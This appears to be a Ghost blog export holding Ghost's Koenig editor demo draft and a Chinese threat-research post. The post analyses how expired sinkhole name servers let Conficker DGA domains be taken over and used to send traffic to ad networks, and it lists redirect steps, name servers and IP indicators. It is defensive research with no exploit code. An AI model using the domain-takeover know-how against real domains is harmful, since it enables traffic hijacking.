Datasets:

kenshinx

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netlab-blogs

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post

2019-01-31T02:39:49.000Z

63873b9a8b1c1e0007f52ee3

v2-demo-post

2019-02-15T07:20:06.000Z

public

draft

2019-01-31T02:39:49.000Z

Koenig Demo Post

<p>Hey there! Welcome to the new Ghost editor - affectionately known as <strong>Koenig</strong>.</p><p>Koenig is a brand new writing experience within Ghost, and follows more of a rich writing experience which you've come to expect from the best publishing platforms. Don't worry though! You can still use Markdown too, if that's what you prefer.</p><p>Because there are some changes to how Ghost outputs content using its new editor, we dropped this draft post into your latest update to tell you a bit about it – and simultaneously give you a chance to preview how well your theme handles these changes. So after reading this post you should both understand how everything works, and also be able to see if there are any changes you need to make to your theme in order to upgrade to Ghost 2.0.</p><hr><h1 id="what-s-new">What's new</h1><p>The new editor is designed to allow you have a more rich editing experience, so it's no longer limited to just text and formatting options – but it can also handle rich media objects, called cards. You can insert a card either by clicking on the <code>+</code> button on a new line, or typing <code>/</code> on a new line to search for a particular card. </p><p>Here's one now:</p><figure class="kg-card kg-embed-card"><blockquote class="twitter-tweet"><p lang="en" dir="ltr">Fun announcement coming this afternoon ? what could it be?</p>&mdash; Ghost (@TryGhost) <a href="https://twitter.com/TryGhost/status/761119175192420352?ref_src=twsrc%5Etfw">August 4, 2016</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> </figure><p>Cards are rich objects which contain content which is more than just text. To start with there are cards for things like images, markdown, html and embeds — but over time we'll introduce more cards and integrations, as well as allowing you to create your own!</p><h2 id="some-examples-of-possible-future-cards">Some examples of possible future cards</h2><ul><li>A chart card to display dynamic data visualisations</li><li>A recipe card to show a pre-formatted list of ingredients and instructions</li><li>A Mailchimp card to capture new subscribers with a web form</li><li>A recommended reading card to display a dynamic suggested story based on the current user's reading history</li></ul><p>For now, though, we're just getting started with the basics.</p><h1 id="new-ways-to-work-with-images">New ways to work with images</h1><p>Perhaps the most notable change to how you're used to interacting with Ghost is in the images. In Koenig, they're both more powerful and easier to work with in the editor itself - and in the theme, they're output slightly differently with different size options.</p><p>For instance, here's your plain ol' regular image:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://casper.ghost.org/v1.25.0/images/koenig-demo-1.jpg" class="kg-image" alt loading="lazy"><figcaption>A regular size image</figcaption></figure><p>But perhaps you've got a striking panorama that you really want to stand out as your readers scroll down the page. In that case, you could use the new full-bleed image size which stretches right out to the edges of the screen:</p><figure class="kg-card kg-image-card kg-width-full kg-card-hascaption"><img src="https://casper.ghost.org/v1.25.0/images/koenig-demo-2.jpg" class="kg-image" alt loading="lazy"><figcaption>It's wide</figcaption></figure><p>Or maybe you're looking for something in between, which will give you just a little more size to break up the vertical rhythm of the post without dominating the entire screen. If that's the case, you might like the breakout size:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://casper.ghost.org/v1.25.0/images/koenig-demo-3.jpg" class="kg-image" alt loading="lazy"><figcaption>It's wider, but not widest</figcaption></figure><p>Each of these sizes can be selected from within the editor, and each will output a number of HTML classes for the theme to do styling with. </p><p>Chances are your theme will need a few small updates to take advantage of the new editor functionality. Some people might also find they need to tweak their theme layout, as the editor canvas previously output a wrapper div around its content – but no longer does. If you rely on that div for styling, you can always add it back again in your theme.</p><p>Oh, we have some nice new image captions, too :)</p><h1 id="what-else">What else?</h1><p>Well, you can still write Markdown, as mentioned. In fact you'll find the entire previous Ghost editor <em>inside</em> this editor. If you want to use it then just go ahead and add a Markdown card and start writing like nothing changed at all:</p><!--kg-card-begin: markdown--><p>Markdown content works just the way it always did, <strong>simply</strong> and <em>beautifully</em>.</p> <!--kg-card-end: markdown--><p>of course you can embed code blocks</p><pre><code>.new-editor { display: bock; }</code></pre><p>or embed things from external services like YouTube...</p><p></p><p>and yeah you can do full HTML if you need to, as well!</p><!--kg-card-begin: html--><div style="background:#fafafa;margin-bottom:1.5em;padding:20px 50px;"> <blink>hello world</blink> </div><!--kg-card-end: html--><p>So everything works, hopefully, just about how you would expect. It's like the old editor, but faster, cleaner, prettier, and a whole lot more powerful.</p><h1 id="what-do-i-do-with-this-information">What do I do with this information?</h1><p>Preview this post on your site to see if it causes any issues with your theme. Click on the settings cog in the top right ?? corner of the editor, then click on '<strong>Preview</strong>' next to the 'Post URL' input.</p><p>If everything looks good to you then there's nothing you need to do, you're all set! If you spot any issues with your design, or there are some funky display issues, then you might need to make some updates to your theme based on the new editor classes being output.</p><p>Head over to the <a href="https://forum.ghost.org/t/ghost-2-0-theme-compatibility-help-support/2103">Ghost 2.0 Theme Compatibility</a> forum topic to discuss any changes and get help if needed.</p><p>That's it!</p><p>We're looking forward to sharing more about the new editor soon</p>

Hey there! Welcome to the new Ghost editor - affectionately known as Koenig. Koenig is a brand new writing experience within Ghost, and follows more of a rich writing experience which you've come to expect from the best publishing platforms. Don't worry though! You can still use Markdown too, if that's what you prefer. Because there are some changes to how Ghost outputs content using its new editor, we dropped this draft post into your latest update to tell you a bit about it – and simultaneously give you a chance to preview how well your theme handles these changes. So after reading this post you should both understand how everything works, and also be able to see if there are any changes you need to make to your theme in order to upgrade to Ghost 2.0. What's new The new editor is designed to allow you have a more rich editing experience, so it's no longer limited to just text and formatting options – but it can also handle rich media objects, called cards. You can insert a card either by clicking on the + button on a new line, or typing / on a new line to search for a particular card. Here's one now: Fun announcement coming this afternoon ? what could it be? — Ghost (@TryGhost) August 4, 2016 Cards are rich objects which contain content which is more than just text. To start with there are cards for things like images, markdown, html and embeds — but over time we'll introduce more cards and integrations, as well as allowing you to create your own! Some examples of possible future cards * A chart card to display dynamic data visualisations * A recipe card to show a pre-formatted list of ingredients and instructions * A Mailchimp card to capture new subscribers with a web form * A recommended reading card to display a dynamic suggested story based on the current user's reading history For now, though, we're just getting started with the basics. New ways to work with images Perhaps the most notable change to how you're used to interacting with Ghost is in the images. In Koenig, they're both more powerful and easier to work with in the editor itself - and in the theme, they're output slightly differently with different size options. For instance, here's your plain ol' regular image: But perhaps you've got a striking panorama that you really want to stand out as your readers scroll down the page. In that case, you could use the new full-bleed image size which stretches right out to the edges of the screen: Or maybe you're looking for something in between, which will give you just a little more size to break up the vertical rhythm of the post without dominating the entire screen. If that's the case, you might like the breakout size: Each of these sizes can be selected from within the editor, and each will output a number of HTML classes for the theme to do styling with. Chances are your theme will need a few small updates to take advantage of the new editor functionality. Some people might also find they need to tweak their theme layout, as the editor canvas previously output a wrapper div around its content – but no longer does. If you rely on that div for styling, you can always add it back again in your theme. Oh, we have some nice new image captions, too :) What else? Well, you can still write Markdown, as mentioned. In fact you'll find the entire previous Ghost editor inside this editor. If you want to use it then just go ahead and add a Markdown card and start writing like nothing changed at all: Markdown content works just the way it always did, simply and beautifully. of course you can embed code blocks .new-editor { display: bock; } or embed things from external services like YouTube... and yeah you can do full HTML if you need to, as well! hello world So everything works, hopefully, just about how you would expect. It's like the old editor, but faster, cleaner, prettier, and a whole lot more powerful. What do I do with this information? Preview this post on your site to see if it causes any issues with your theme. Click on the settings cog in the top right ?? corner of the editor, then click on 'Preview' next to the 'Post URL' input. If everything looks good to you then there's nothing you need to do, you're all set! If you spot any issues with your design, or there are some funky display issues, then you might need to make some updates to your theme based on the new editor classes being output. Head over to the Ghost 2.0 Theme Compatibility forum topic to discuss any changes and get help if needed. That's it! We're looking forward to sharing more about the new editor soon

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Welcome to the new Ghost editor - affectionately known as "],[0,[0],1,"Koenig"],[0,[],0,"."]]],[1,"p",[[0,[],0,"Koenig is a brand new writing experience within Ghost, and follows more of a rich writing experience which you've come to expect from the best publishing platforms. Don't worry though! You can still use Markdown too, if that's what you prefer."]]],[1,"p",[[0,[],0,"Because there are some changes to how Ghost outputs content using its new editor, we dropped this draft post into your latest update to tell you a bit about it – and simultaneously give you a chance to preview how well your theme handles these changes. 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To start with there are cards for things like images, markdown, html and embeds — but over time we'll introduce more cards and integrations, as well as allowing you to create your own!"]]],[1,"h2",[[0,[],0,"Some examples of possible future cards"]]],[3,"ul",[[[0,[],0,"A chart card to display dynamic data visualisations"]],[[0,[],0,"A recipe card to show a pre-formatted list of ingredients and instructions"]],[[0,[],0,"A Mailchimp card to capture new subscribers with a web form"]],[[0,[],0,"A recommended reading card to display a dynamic suggested story based on the current user's reading history"]]]],[1,"p",[[0,[],0,"For now, though, we're just getting started with the basics."]]],[1,"h1",[[0,[],0,"New ways to work with images"]]],[1,"p",[[0,[],0,"Perhaps the most notable change to how you're used to interacting with Ghost is in the images. In Koenig, they're both more powerful and easier to work with in the editor itself - and in the theme, they're output slightly differently with different size options."]]],[1,"p",[[0,[],0,"For instance, here's your plain ol' regular image:"]]],[10,2],[1,"p",[[0,[],0,"But perhaps you've got a striking panorama that you really want to stand out as your readers scroll down the page. In that case, you could use the new full-bleed image size which stretches right out to the edges of the screen:"]]],[10,3],[1,"p",[[0,[],0,"Or maybe you're looking for something in between, which will give you just a little more size to break up the vertical rhythm of the post without dominating the entire screen. If that's the case, you might like the breakout size:"]]],[10,4],[1,"p",[[0,[],0,"Each of these sizes can be selected from within the editor, and each will output a number of HTML classes for the theme to do styling with. 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If you spot any issues with your design, or there are some funky display issues, then you might need to make some updates to your theme based on the new editor classes being output."]]],[1,"p",[[0,[],0,"Head over to the "],[0,[3],1,"Ghost 2.0 Theme Compatibility"],[0,[],0," forum topic to discuss any changes and get help if needed."]]],[1,"p",[[0,[],0,"That's it!"]]],[1,"p",[[0,[],0,"We're looking forward to sharing more about the new editor soon"]]]],"ghostVersion":"3.0"}

5c525ff5e604c8004fbbd5dd

post

2016-09-02T03:46:03.000Z

63873b9a8b1c1e0007f52ee4

conficker-domain-abuse

2018-10-06T08:54:04.000Z

public

published

2016-09-02T08:28:38.000Z

Conficker域名被滥用情况分析

<!--kg-card-begin: markdown--><p>根据对conficker域名的跟踪，我们发现conficker的域名存在明显的滥用。主要表现为浏览器访问conficker域名后，会跳转到广告页面（既有正常业务，也有赌博/色情等灰色业务），有时候还会存在一些垃圾软件（比如虚假的杀毒软件）的推广等。</p> <p>由于conficker的DGA域名的巨大数量，我们希望了解产生这种状况的原因以及其现在的规模。</p> <h2 id="conficker">Conficker域名现状及被滥用状况</h2> <h3 id="conficker">Conficker简介</h3> <p>Conficker是出现于2008年11月，曾感染了数百万台电脑。Conficker有一个独特的特性是它使用了DGA技术。利用随机生成的域名来防止网络设备的封堵。自此以后DGA技术也开始逐渐流行起来。关于conficker和DGA的细节，请参考<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup> <sup class="footnote-ref"><a href="#fn2" id="fnref2">[2]</a></sup>。</p> <h3 id="passviedns">校验数据集及passvieDNS中的命中情况</h3> <p>我们选取了2010-01-01到2016-09-15这段时间内，由conficker.a 和conficker.b生成的全部的DGA域名作为数据全集，共1225000条域名。</p> <p>检查这些域名在passiveDNS中的命中情况。排除NXDOMAIN之外，总共命中了216352条。约占总数的17.67%。实际情况中，还有大量的conficker域名返回的是NXDOMAIN，因为并不是所有的conficker域名都被sinkhole。</p> <p>在这些命中的域名中，按照sinkhole的NS服务器的名字进行区分，每种NS服务器的sinkhole的域名数量分布如下：</p> <table> <tr> <th>Count</th> <th>Type</th> <th>NS Server</th> </tr> <tr> <td>1892</td> <td>parkingdomains</td> <td>N/A</td> </tr> <tr> <td>23915</td> <td>cndomains</td> <td>ns.conficker-sinkhole.cn</td> </tr> <tr> <td>98182</td> <td>com_net_org_domains</td> <td>ns.conficker-sinkhole.com/net/org</td> </tr> <tr> <td>15091</td> <td>opendns_domains</td> <td>146.112.61.105</td> </tr> <tr> <td>40151</td> <td>cwgsh_domains</td> <td>ns.cwgsh.com/net/org</td> </tr> <tr> <td>19731</td> <td>0xc0f1c3a5_domains</td> <td>ns.0xc0f1c3a5.com/org</td> </tr> <tr> <td>17390</td> <td>unclassifed_domain</td> <td>N/A</td> </tr> </table> <p><img src="__GHOST_URL__/content/images/2016/09/conficker-sinkhole-distribution.png" alt="" loading="lazy"> <em>图1 不同sinkhole所解析的conficker域名分布数量</em></p> <p>上图列出针对conficker的DGA域名的主要sinkhole占比情况，还有一些很小的sinkhole没有列出来。包括honeybot.us, sinkhole.ru等。由于它们对应的域名的数量很少，不再单独进行分类，统一合并到unclassified类型中。</p> <p>在unclassified的数据中，除了少量的sinkhole域名以及同样少量的NXDOMAIN被篡改为有效的IP（原因主要是各种ISP的不规范行为）之外，剩余的部分主要是与conficker域名冲突的正常业务的域名。</p> <p>处于parking/reselling状态的域名则是其NS服务器为parking的NS服务器。<br> 在我们的数据中，ns.conficker-sinkhole.cn与ns.conficker-sinkhole.com/net/org占的数量巨大，占到总份额的56%。是预防conficker扩散的主力军。</p> <p>ns.cwgsh.com/net/org与ns.0xc0f1c3a5.com/org是由Microsoft及其关联方针对conficker DGA域名的sinkhole。它们的占比也达到了28%。</p> <p>OpenDNS和传统的sinkhole手段不同，它针对conficker的域名请求，在OpenDNS的resolver上设置了这些域名的黑名单，如果resolver发现请求的域名位列黑名单中，则返回一个提示性页面，这也是使用DNS提供安全服务的一种常见的手段。这个数量如上图所示，大概在7%左右。</p> <h3 id="">哪些数据被滥用？</h3> <p>在上面列出的各个种类中，由ns.cwgsh.com/net/org解析的conficker DGA域名是被滥用的主体。</p> <p>如上一节所提，通过查询WHOIS发现，ns.cwgsh.com/net/org与ns.0xc0f1c3a5.com/org所sinkhole的域名的注册邮箱都是[email protected]。但是注册人分别为“Conficker Cabal/ Microsoft”与” Conficker Holding Account/ Afilias”。另外cwgsh服务的域名注册时间在2009年，0xc0f1c3a5服务的域名注册时间在2011年。它们所解析的域名分别在2010年与2011年有效。另外它们只解析TLD为<strong>org，info</strong>为后缀的conficker域名。</p> <p>尽管使用的是同一个注册邮箱，但是由于使用的NS服务器不同。它们解析的域名在被滥用方面却并不相同。其实0xc0f1c3a5.org/net/com也存在相应的问题。0xc0f1c3a5.org/net/com当中只有org域名是有效的，com/net两个域名无效。但是由于org域名一直保持更新（AUTORENEWPERIOD），因此它是一个有效的域名，所以它解析的域名解析是正常的。</p> <p>滥用部分主要集中在NS服务器为ns.cwgsh.com/net/org的conficker域名上。这三个域名是由shandowserver注册的，在注册一年之后（2011-03-04），由于没有续费，NS服务器被切换到NS1/2.RENEWYOURNAME.NET。在此之后，这个域名就处在parking/reselling状态，在不同的注册商之间颠沛流离<sup class="footnote-ref"><a href="#fn3" id="fnref3">[3]</a></sup>。它们负责解析的conficker域名也就无法继续被正常的解析和使用。</p> <h3 id="">滥用域名的数量</h3> <p>从conficker域名的生效日期来看，每天的数据量相差不大，只有2010年10月份的数据要稍高一点。如图1所示，滥用规模占整个conficker.a conficker.b的有效记录总数的近20% 。<br> <img src="__GHOST_URL__/content/images/2016/09/abuse_dn_num.png" alt="" loading="lazy"> <em>图2 滥用的conficker域名的有效日期分布</em></p> <p>从每个conficker域名的DNS请求量来看，这个数量并不大。访问数量在43以下的，已经占到所有的数据的98.5%。50以下的占到99%。整体来看，访问量比较偏少。<br> <img src="__GHOST_URL__/content/images/2016/09/DNS-request-number.jpg" alt="" loading="lazy"> <em>图3 滥用的conficker域名的访问量分布</em></p> <p>从访问来源来看，从2014年10月份开始到2016年8月23日，我们总共看到了5300+个独立的访问源。<br> 从地理位置上来看，主要分布在国内。有少量的欧洲和南美的访问。<br> <img src="__GHOST_URL__/content/images/2016/09/geo.png" alt="" loading="lazy"> <em>图4 滥用的conficker访问源的地理分布</em></p> <p>从访问时间来看，最早的数据访问记录在2014年的10月（真实情况可能比这个时间更早）。大规模的访问是从2015年8月中旬开始的。从那时起每日访问的域名平均在1000个左右。访问的日期分布如下：<br> <img src="__GHOST_URL__/content/images/2016/09/access_count_daily.png" alt="" loading="lazy"> <em>图5 滥用的conficker访问日期分布</em></p> <h3 id="">访问的原因</h3> <p>由于被访的Conficker域名生效时间在2010年。在时隔5~6年之后的今天，理论上是不会有conficker的受害用户对这种域名再进行访问的。是什么原因导致产生这种访问呢？<br> 根据我们对DNS请求来源的调查发现，现在每天至少有50~70个独立的用户会发起这些过期域名的请求。并且在这些用户当中，大约有65%~80%的用户即会访问新的（比如2016年当天生成的）conficker域名，同时也会访问2010年老的conficker域名。也就是说大多数的conficker受害用户是产生这种访问的主要原因。至于为什么会有这种怪异的请求出现，现在尚不清楚。另外还有20%~30%的用户则只请求2010年的conficker域名，这部分访问量的产生也需要进一步分析。</p> <h2 id="">域名接管及后续数据流</h2> <p>现在我们来了解一下这些conficker域名是如何从sinkhole状态转到给垃圾广告导流的。</p> <h3 id="">域名的接管</h3> <p>从DNS角度来看，要接管一个域名，接管它的NS服务器就可以了。这些conficker域名就是这样转变的。</p> <p>由于conficker的DGA域名的最初的NS服务器NS.CWGSH.COM/NET/ORG这三个域名在2011年2月28日到期之后，没有再进行续费。导致这三个域名就进入了注册商的reselling/parking列表。而使用这些NS服务器的DGA域名（后缀为info/org）的解析状态进入不确定的状态。</p> <p>就目前（2016.08.30）来看，cwgsh.com是比较“纯粹”的处在saling状态的域名。尽管这个页面上也会放置一些广告。<br> cwgsh.org现在则是一个XX网站，也比较纯粹。<br> ns.cwgsh.net是引起conficker转变的根源。它现在作为ns服务器，针对任何请求（合法或者非法的域名），均会返回固定的四条记录（以360.com和一个非法的域名作为例子）。<br> <img src="__GHOST_URL__/content/images/2016/09/cwgsh.net.jpg" alt="" loading="lazy"> <em>图6 ns.cwgsh.net针对任意请求均返回相同的应答结果</em></p> <p>不过奇怪的是conficker域名的whois状态貌似在一直更新。并且和2010年主要注册信息（Name,email,organization,address, NS server）比对来看，均没有发生太大的变化。看起来域名所有者一直在保持更新。</p> <h3 id="">数据流</h3> <p>是时候来看一下从这些老的conficker域名开始的web数据流向了（针对有些session做了删减，但并不影响整个业务流程）。<br> <img src="__GHOST_URL__/content/images/2016/09/fiddler.png" alt="" loading="lazy"> <em>图7 conficker的web流程</em></p> <ol> <li>lixfley.info是20100408的conficker.a的域名，针对lixfley.info的请求会解析到86.107.110.247（Romania/RO &quot;AS8708 RCS &amp; RDS&quot;）。</li> <li>之后是一个http 302的跳转，跳转到youforgottorenewyourhosting.com。从这个域名的词法来看，它是一个专门用来做过期域名跳转生意的。它对应的IP地址为192.232.208.138（United States/US Houston &quot;AS46606 Unified Layer&quot;）。</li> <li>针对第二条的应答，仍然是一个302跳转，跳转目标为初始域名加一个tclub的前缀。它的应答除了包含常规的流量统计之外（第5条会话的请求），还包含了针对第8条会话的请求，这是它真正下一步的目的地。</li> <li>在第8条会话中，我们可以看到在它的URL中包含了ww9开头的后接初始请求域名的形式。在sucuri的一篇blog<sup class="footnote-ref"><a href="#fn4" id="fnref4">[4]</a></sup>中提到了ww2后接初始请求的域名形式。事实上这种请求域名形式完全依赖于第三条会话的返回内容。类似的形式包括”in/ww2/ww9/blog”等前缀形式。具体每种形式的前缀的含义现在还不清楚，猜测可能是标识不同的广告系统，另外这个前缀形式也需要体现在DNS的配置当中，具体参见上一节的DNS解析记录。</li> <li>在从第12条之后的会话过程便是ADnetwork的过程了。整个过程非常复杂，不停地在不同的页面之间进行跳转。上图隐藏的31~88会话均是这个过程。</li> <li>第80条是整个跳转链的结尾。上图的会话展示的是一个游戏站点。事实上跳转链结尾的站点（也就是广告主）的类型多种多样，既包含正规站点，也包含处于灰色地带的色情站点/虚假杀毒软件等站点。</li> </ol> <h3 id="">基础设施</h3> <p>在针对conficker的DGA域名的滥用过程中，针对第一步跳转IP及这些域名的NS服务器。我们分别对其NS server和IP进行总结：</p> <p>NS server:<br> ns[1-4].888dns.net<br> ns[1-3].dnskarma.com</p> <p>IP:<br> 195.22.126.212<br> 195.22.126.213<br> 166.78.101.108<br> 213.184.126.162<br> 213.184.126.163<br> 50.57.203.17<br> 5.79.74.75<br> 64.71.74.227<br> 77.247.178.109<br> 86.107.110.247<br> 91.92.110.2</p> <h1 id="">结论</h1> <p>这是一起典型的由于NS服务器运营不当，在过期之后被他人接手导致原先这个NS服务器所服务的域名统统被接管的案例。只不过这个NS服务器所解析的域名是conficker的DGA域名，所以它尤显重要，所造成的问题也更显突出。</p> <p>现在的parking/reselling状态的域名也存在诸多的乱象，很多恶意软件的分发中都存在这部分域名的影子。针对它们的分析也是我们后续工作的重点。</p> <p>在sinkhole的运作方面也有很多值得思考的问题。后续我们会对不同类别的DGA以及非DGA域名被sinkhole的情况做进一步的分析。</p> <h1 id="">参考资料</h1> <hr class="footnotes-sep"> <section class="footnotes"> <ol class="footnotes-list"> <li id="fn1" class="footnote-item"><p><a href="https://en.wikipedia.org/wiki/Conficker">https://en.wikipedia.org/wiki/Conficker</a> <a href="#fnref1" class="footnote-backref">↩︎</a></p> </li> <li id="fn2" class="footnote-item"><p><a href="https://en.wikipedia.org/wiki/Domain_generation_algorithm">https://en.wikipedia.org/wiki/Domain_generation_algorithm</a> <a href="#fnref2" class="footnote-backref">↩︎</a></p> </li> <li id="fn3" class="footnote-item"><p><a href="https://research.domaintools.com/research/whois-history/search/?q=cwgsh.com#changes">https://research.domaintools.com/research/whois-history/search/?q=cwgsh.com#changes</a> <a href="#fnref3" class="footnote-backref">↩︎</a></p> </li> <li id="fn4" class="footnote-item"><p><a href="https://blog.sucuri.net/2016/07/fake-freedns-used-to-redirect-traffic-to-malicious-sites.html">https://blog.sucuri.net/2016/07/fake-freedns-used-to-redirect-traffic-to-malicious-sites.html</a> <a href="#fnref4" class="footnote-backref">↩︎</a></p> </li> </ol> </section> <!--kg-card-end: markdown-->

根据对conficker域名的跟踪，我们发现conficker的域名存在明显的滥用。主要表现为浏览器访问conficker域名后，会跳转到广告页面（既有正常业务，也有赌博/色情等灰色业务），有时候还会存在一些垃圾软件（比如虚假的杀毒软件）的推广等。 由于conficker的DGA域名的巨大数量，我们希望了解产生这种状况的原因以及其现在的规模。 Conficker域名现状及被滥用状况 Conficker简介 Conficker是出现于2008年11月，曾感染了数百万台电脑。Conficker有一个独特的特性是它使用了DGA技术。利用随机生成的域名来防止网络设备的封堵。自此以后DGA技术也开始逐渐流行起来。关于conficker和DGA的细节，请参考[1] [2]。 校验数据集及passvieDNS中的命中情况 我们选取了2010-01-01到2016-09-15这段时间内，由conficker.a 和conficker.b生成的全部的DGA域名作为数据全集，共1225000条域名。 检查这些域名在passiveDNS中的命中情况。排除NXDOMAIN之外，总共命中了216352条。约占总数的17.67%。实际情况中，还有大量的conficker域名返回的是NXDOMAIN，因为并不是所有的conficker域名都被sinkhole。 在这些命中的域名中，按照sinkhole的NS服务器的名字进行区分，每种NS服务器的sinkhole的域名数量分布如下： Count Type NS Server 1892 parkingdomains N/A 23915 cndomains ns.conficker-sinkhole.cn 98182 com_net_org_domains ns.conficker-sinkhole.com/net/org 15091 opendns_domains 146.112.61.105 40151 cwgsh_domains ns.cwgsh.com/net/org 19731 0xc0f1c3a5_domains ns.0xc0f1c3a5.com/org 17390 unclassifed_domain N/A 图1 不同sinkhole所解析的conficker域名分布数量 上图列出针对conficker的DGA域名的主要sinkhole占比情况，还有一些很小的sinkhole没有列出来。包括honeybot.us, sinkhole.ru等。由于它们对应的域名的数量很少，不再单独进行分类，统一合并到unclassified类型中。 在unclassified的数据中，除了少量的sinkhole域名以及同样少量的NXDOMAIN被篡改为有效的IP（原因主要是各种ISP的不规范行为）之外，剩余的部分主要是与conficker域名冲突的正常业务的域名。 处于parking/reselling状态的域名则是其NS服务器为parking的NS服务器。 在我们的数据中，ns.conficker-sinkhole.cn与ns.conficker-sinkhole.com/net/org占的数量巨大，占到总份额的56%。是预防conficker扩散的主力军。 ns.cwgsh.com/net/org与ns.0xc0f1c3a5.com/org是由Microsoft及其关联方针对conficker DGA域名的sinkhole。它们的占比也达到了28%。 OpenDNS和传统的sinkhole手段不同，它针对conficker的域名请求，在OpenDNS的resolver上设置了这些域名的黑名单，如果resolver发现请求的域名位列黑名单中，则返回一个提示性页面，这也是使用DNS提供安全服务的一种常见的手段。这个数量如上图所示，大概在7%左右。 哪些数据被滥用？ 在上面列出的各个种类中，由ns.cwgsh.com/net/org解析的conficker DGA域名是被滥用的主体。 如上一节所提，通过查询WHOIS发现，ns.cwgsh.com/net/org与ns.0xc0f1c3a5.com/org所sinkhole的域名的注册邮箱都是[email protected]。但是注册人分别为“Conficker Cabal/ Microsoft”与” Conficker Holding Account/ Afilias”。另外cwgsh服务的域名注册时间在2009年，0xc0f1c3a5服务的域名注册时间在2011年。它们所解析的域名分别在2010年与2011年有效。另外它们只解析TLD为org，info为后缀的conficker域名。 尽管使用的是同一个注册邮箱，但是由于使用的NS服务器不同。它们解析的域名在被滥用方面却并不相同。其实0xc0f1c3a5.org/net/com也存在相应的问题。0xc0f1c3a5.org/net/com当中只有org域名是有效的，com/net两个域名无效。但是由于org域名一直保持更新（AUTORENEWPERIOD），因此它是一个有效的域名，所以它解析的域名解析是正常的。 滥用部分主要集中在NS服务器为ns.cwgsh.com/net/org的conficker域名上。这三个域名是由shandowserver注册的，在注册一年之后（2011-03-04），由于没有续费，NS服务器被切换到NS1/2.RENEWYOURNAME.NET。在此之后，这个域名就处在parking/reselling状态，在不同的注册商之间颠沛流离[3]。它们负责解析的conficker域名也就无法继续被正常的解析和使用。 滥用域名的数量 从conficker域名的生效日期来看，每天的数据量相差不大，只有2010年10月份的数据要稍高一点。如图1所示，滥用规模占整个conficker.a conficker.b的有效记录总数的近20% 。 图2 滥用的conficker域名的有效日期分布 从每个conficker域名的DNS请求量来看，这个数量并不大。访问数量在43以下的，已经占到所有的数据的98.5%。50以下的占到99%。整体来看，访问量比较偏少。 图3 滥用的conficker域名的访问量分布 从访问来源来看，从2014年10月份开始到2016年8月23日，我们总共看到了5300+个独立的访问源。 从地理位置上来看，主要分布在国内。有少量的欧洲和南美的访问。 图4 滥用的conficker访问源的地理分布 从访问时间来看，最早的数据访问记录在2014年的10月（真实情况可能比这个时间更早）。大规模的访问是从2015年8月中旬开始的。从那时起每日访问的域名平均在1000个左右。访问的日期分布如下： 图5 滥用的conficker访问日期分布 访问的原因 由于被访的Conficker域名生效时间在2010年。在时隔5~6年之后的今天，理论上是不会有conficker的受害用户对这种域名再进行访问的。是什么原因导致产生这种访问呢？ 根据我们对DNS请求来源的调查发现，现在每天至少有50~70个独立的用户会发起这些过期域名的请求。并且在这些用户当中，大约有65%~80%的用户即会访问新的（比如2016年当天生成的）conficker域名，同时也会访问2010年老的conficker域名。也就是说大多数的conficker受害用户是产生这种访问的主要原因。至于为什么会有这种怪异的请求出现，现在尚不清楚。另外还有20%~30%的用户则只请求2010年的conficker域名，这部分访问量的产生也需要进一步分析。 域名接管及后续数据流 现在我们来了解一下这些conficker域名是如何从sinkhole状态转到给垃圾广告导流的。 域名的接管 从DNS角度来看，要接管一个域名，接管它的NS服务器就可以了。这些conficker域名就是这样转变的。 由于conficker的DGA域名的最初的NS服务器NS.CWGSH.COM/NET/ORG这三个域名在2011年2月28日到期之后，没有再进行续费。导致这三个域名就进入了注册商的reselling/parking列表。而使用这些NS服务器的DGA域名（后缀为info/org）的解析状态进入不确定的状态。 就目前（2016.08.30）来看，cwgsh.com是比较“纯粹”的处在saling状态的域名。尽管这个页面上也会放置一些广告。 cwgsh.org现在则是一个XX网站，也比较纯粹。 ns.cwgsh.net是引起conficker转变的根源。它现在作为ns服务器，针对任何请求（合法或者非法的域名），均会返回固定的四条记录（以360.com和一个非法的域名作为例子）。 图6 ns.cwgsh.net针对任意请求均返回相同的应答结果 不过奇怪的是conficker域名的whois状态貌似在一直更新。并且和2010年主要注册信息（Name,email,organization,address, NS server）比对来看，均没有发生太大的变化。看起来域名所有者一直在保持更新。 数据流 是时候来看一下从这些老的conficker域名开始的web数据流向了（针对有些session做了删减，但并不影响整个业务流程）。 图7 conficker的web流程 1. lixfley.info是20100408的conficker.a的域名，针对lixfley.info的请求会解析到86.107.110.247（Romania/RO "AS8708 RCS & RDS"）。 2. 之后是一个http 302的跳转，跳转到youforgottorenewyourhosting.com。从这个域名的词法来看，它是一个专门用来做过期域名跳转生意的。它对应的IP地址为192.232.208.138（United States/US Houston "AS46606 Unified Layer"）。 3. 针对第二条的应答，仍然是一个302跳转，跳转目标为初始域名加一个tclub的前缀。它的应答除了包含常规的流量统计之外（第5条会话的请求），还包含了针对第8条会话的请求，这是它真正下一步的目的地。 4. 在第8条会话中，我们可以看到在它的URL中包含了ww9开头的后接初始请求域名的形式。在sucuri的一篇blog[4]中提到了ww2后接初始请求的域名形式。事实上这种请求域名形式完全依赖于第三条会话的返回内容。类似的形式包括”in/ww2/ww9/blog”等前缀形式。具体每种形式的前缀的含义现在还不清楚，猜测可能是标识不同的广告系统，另外这个前缀形式也需要体现在DNS的配置当中，具体参见上一节的DNS解析记录。 5. 在从第12条之后的会话过程便是ADnetwork的过程了。整个过程非常复杂，不停地在不同的页面之间进行跳转。上图隐藏的31~88会话均是这个过程。 6. 第80条是整个跳转链的结尾。上图的会话展示的是一个游戏站点。事实上跳转链结尾的站点（也就是广告主）的类型多种多样，既包含正规站点，也包含处于灰色地带的色情站点/虚假杀毒软件等站点。 基础设施 在针对conficker的DGA域名的滥用过程中，针对第一步跳转IP及这些域名的NS服务器。我们分别对其NS server和IP进行总结： NS server: ns[1-4].888dns.net ns[1-3].dnskarma.com IP: 195.22.126.212 195.22.126.213 166.78.101.108 213.184.126.162 213.184.126.163 50.57.203.17 5.79.74.75 64.71.74.227 77.247.178.109 86.107.110.247 91.92.110.2 结论 这是一起典型的由于NS服务器运营不当，在过期之后被他人接手导致原先这个NS服务器所服务的域名统统被接管的案例。只不过这个NS服务器所解析的域名是conficker的DGA域名，所以它尤显重要，所造成的问题也更显突出。 现在的parking/reselling状态的域名也存在诸多的乱象，很多恶意软件的分发中都存在这部分域名的影子。针对它们的分析也是我们后续工作的重点。 